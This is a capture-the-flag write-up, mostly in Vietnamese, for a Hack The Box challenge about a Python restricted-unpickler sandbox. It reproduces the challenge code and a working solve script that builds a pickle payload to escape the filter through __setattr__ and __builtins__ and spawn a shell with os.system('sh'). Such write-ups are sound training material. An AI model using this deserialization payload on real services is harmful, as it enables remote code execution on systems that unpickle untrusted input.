# HTB Cyber Apocalypse 2024: Hacker Royale - After Party
## Were Pickle Phreaks
### Analysis
Source code:
**app.py:**
```python
# python 3.8
from sandbox import unpickle, pickle
import random
members = []
class Phreaks:
def __init__(self, hacker_handle, category, id):
self.hacker_handle = hacker_handle
self.category = category
self.id = id
def display_info(self):
print('================ ==============')
print(f'Hacker Handle {self.hacker_handle}')
print('================ ==============')
print(f'Category {self.category}')
print(f'Id {self.id}')
print()
def menu():
print('Phreaks member registration v2')
print('1. View current members')
print('2. Register new member')
print('3. Exit')
def add_existing_members():
members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))
def view_members():
for member in members:
try:
member = unpickle(member)
member.display_info()
except Exception as e:
print('Invalid Phreaks member', e)
def register_member():
pickle_data = input('Enter new member data: ')
members.append(pickle_data)
def main():
add_existing_members()
while True:
menu()
try:
option = int(input('> '))
except ValueError:
print('Invalid input')
print()
continue
if option == 1:
view_members()
elif option == 2:
register_member()
elif option == 3:
print('Exiting...')
exit()
else:
print('No such option')
print()
if __name__ == '__main__':
main()
```
Đây là một chương trình với 2 chức năng cơ bản:
- `view_members()`: thực hiện deserialize và hiển thị các đối tượng
- `register_member()`: nhận input là dạng base64 của 1 đối tượng sau khi đã serialize
**sandbox.py:**
```python
from base64 import b64decode, b64encode
from io import BytesIO
import pickle as _pickle
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']
class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
return super().find_class(module, name)
raise _pickle.UnpicklingError()
def unpickle(data):
return RestrictedUnpickler(BytesIO(b64decode(data))).load()
def pickle(obj):
return b64encode(_pickle.dumps(obj))
```
Ở đây, class `RestrictedUnpickler` kế thừa từ `_pickle.Unpickler`, định nghĩa phương thức `find_class()` thực hiện detect các module và name được cho phép. Trong `pickle`, phương thức [`find_class()`](https://github.com/python/cpython/blob/main/Lib/pickle.py#L1566) có source code như sau:
```python
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
```
Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. `RestrictedUnpickler` hook vào phương thức `find_class()` để thực hiện sàng lọc các module. Ở đây các module được cho phép là `__main__`, `app` và name bị cấm là `__builtins__`
### Solution
Trong python, các module liên kết với nhau, do đó từ `__main__`, `app` chúng ta có thể nhập các module khác. Sử dụng `dir()` để check xem `__main__` có những module nào:

Chú ý một chút thì đoạn code filter khá lỏng lẻo:
```python!
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
```
Nó chỉ check xem name có bắt đầu bằng `__builtins__.` hay không, do đó mình có thể bypass bằng `__setattr__` để đổi name của `__builtins__` thành một ký tự khác.
Mình sử dụng [`Pickora`](https://github.com/splitline/Pickora.git) để compile python pickle scripts, Pickle sử dụng `GLOBAL` để nhập module.
**Solve script:**
```python
from pickora import Compiler
from base64 import b64encode
def main():
return 1
if __name__ == '__main__':
compiler = Compiler()
payload = b"setattr = GLOBAL('__main__', '__setattr__');"
payload += b"builtins = GLOBAL('__main__','__builtins__');"
payload += b"setattr('e',builtins);"
payload += b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")"
print(b64encode(compiler.compile(payload)).decode())
```
Giải thích một chút, `GLOBAL('__main__', '__setattr__')` lấy function `__main__.__setattr__` và gán vào biến `setattr`, tương tự là `builtins`. `setattr('e',builtins)` thực hiện set function `__main__.__builtins__` thành `e` và cuối cùng là gọi `e.eval` để thực thi code python `__import__('os').system('sh')`.


## Were Pickle Phreaks Revenge
Source code không thay đổi, thay đổi duy nhất đến từ **sandbox.py:**
```python!
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']
```
Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module `random` để thực hiện call các module khác:

Ở đây có thể sử dụng module `_os` để gọi hàm `system()`:

Cách của mình không sử dụng đến module `random` nên có thể bypass luôn challenge này:
